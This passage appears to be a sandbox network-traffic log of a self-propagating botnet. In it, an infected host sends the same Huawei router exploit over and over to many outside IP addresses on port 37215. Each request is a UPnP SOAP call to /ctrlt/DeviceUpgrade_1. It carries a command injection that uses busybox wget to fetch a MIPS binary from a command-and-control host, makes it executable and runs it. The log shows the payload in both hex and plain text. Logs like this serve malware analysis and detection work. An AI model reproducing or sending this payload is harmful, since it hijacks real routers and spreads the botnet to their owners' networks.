Nov 3, 2024 15:33:07.217799902 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	35530	41.196.236.180	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:08.131283045 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	52016	41.37.66.5	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:08.131978989 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	37256	41.104.63.38	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:08.132623911 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	45690	41.247.161.60	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:08.133238077 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	45970	156.150.29.143	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:08.133872986 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	52896	197.222.130.234	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:08.159528971 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	57874	156.173.6.170	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:08.160139084 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	35132	156.217.236.232	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:08.194031000 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	40348	197.205.43.36	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:08.194653034 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	33176	41.14.57.126	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:09.157924891 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 